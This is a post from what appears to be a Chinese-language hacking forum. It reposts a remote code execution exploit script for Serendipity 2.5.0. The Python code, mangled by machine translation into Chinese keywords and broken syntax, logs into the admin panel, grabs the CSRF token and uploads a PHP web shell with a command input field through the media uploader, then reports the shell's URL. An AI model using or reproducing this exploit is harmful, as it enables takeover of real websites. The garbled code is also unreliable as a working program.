H

Serendipity 2.5.0-远程代码执行(RCE)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Serendipity 2.5.0-远程代码执行(RCE)
#发现了: AhmetümitBayram
#发现的日期: 26.04.2024
#供应商homepage3360 https://docs.s9y.org/
#软件链接3:https://www.s9y.org/latest
#测试版本: v2.5.0(最新)
#在: MacOS上测试
导入请求
进口时间
导入随机
导入字符串
来自BS4进口美丽的小组
Def Generate_filename(Extension='。inc'):
返回''.join(random.choices(string.ascii_letters + string.digits,k=5)) +
扩大
def get_csrf_token(响应):
汤=beautifutsoup(响应。文本,'html.parser')
token=soup.find('输入',{'name':'Serendipity [token]'})
返回token ['value']如果doken其他
def登录(base_url,用户名,密码):
打印('登录.')
时间。
session=requests.session()
login_page=session.get(f'{base_url}/serendipity_admin.php')
token=get_csrf_token(login_page)
数据={
'serendipity [action]':'admin',
'serendipity [用户]':用户名,
'serendipity [Pass]':密码,
'提交:'登录',
'serendipity [token]':令牌
}
标题={
'content-type':'应用程序/x-www-form-urlencoded',
'referer': f'{base_url}/serendipity_admin.php'
}
响应=session.post(f'{base_url}/serendipity_admin.php',data=data,
标题=标题)
如果“添加媒体”中的响应.text:
打印('登录成功!')
时间。
返回会话
其他:
打印(“登录失败!”)
没有返回
def upload_file(session,base_url,文件名,令牌):
打印('shell准备.')
时间。
边界='--------------------------------- 395233558031804950903737832368'
标题={
'content-type': f'multipart/form-data;边界={boundary}',
'参考器: f'{base_url}
/serendipity_admin.php?serendipity [adminmodule]=media'
}
有效载荷=((
f' - {boundard} \ r \ n'
f'content-disposition: form-data; name=\'serendipity [token] \'\ r \ n \ r \ n'
f'{token} \ r \ n'
f' - {boundard} \ r \ n'
f'content-disposition: form-data; name=\'serendipity [action] \'\ r \ n \ r \ n'
f'admin \ r \ n'
f' - {boundard} \ r \ n'
f'content-disposition: form-data; name=\'serendipity [adminModule] \'\ r \ n \ r \ n'
f'media \ r \ n'
f' - {boundard} \ r \ n'
f'content-disposition: form-data; name=\'serendipity [adminaction] \'\ r \ n \ r \ n'
f'add \ r \ n'
f' - {boundard} \ r \ n'
f'content-disposition: form-data; name=\'Serendipity [userFile] [1] \';
filename=\'{fileName} \'\ r \ n'
f'content-type: text/html \ r \ n \ r \ n'
'html \ nbody \ nform方法=\'get \'name=\'?php Echo
basename($ _ server ['php_sers']);\'\ n'
'输入类型=\'text \'name=\'cmd \'autocus id=\'cmd \'size=\'80 \'\ ninput
type=\'submit \'值=\'execute \'\ n'
'/form \ npre \ n?
\ n?\ n/pre \ n/body \ n/html \ r \ n'
f' - {boundary} - \ r \ n'

响应=session.post(f'{base_url}
/serendipity_admin.php?serendipity [adminmodule]=media',标头=标题,
data=pareload.encode('utf-8'))
如果f'file {filename}成功上传为'wendesp.text:
print(f'your shell已准备就绪: {base_url}/uploads/{filename}')
其他:
打印(“利用失败!”)
def main(base_url,用户名,密码):
fileName=generate_filename()
会话=登录(base_url,用户名,密码)
如果Session:
token=get_csrf_token(session.get(f'{base_url})
/serendipity_admin.php?serendipity [adminmodule]=media')))
upload_file(session,base_url,文件名,令牌)
如果name=='__ -Main __':
导入系统
如果Len(sys.argv)!=4:
打印('USAGE: PYTHON SCRIPT.PY SITEURL用户名密码')
其他:
main(sys.argv [1],sys.argv [2],sys.argv [3])
 
后退
顶部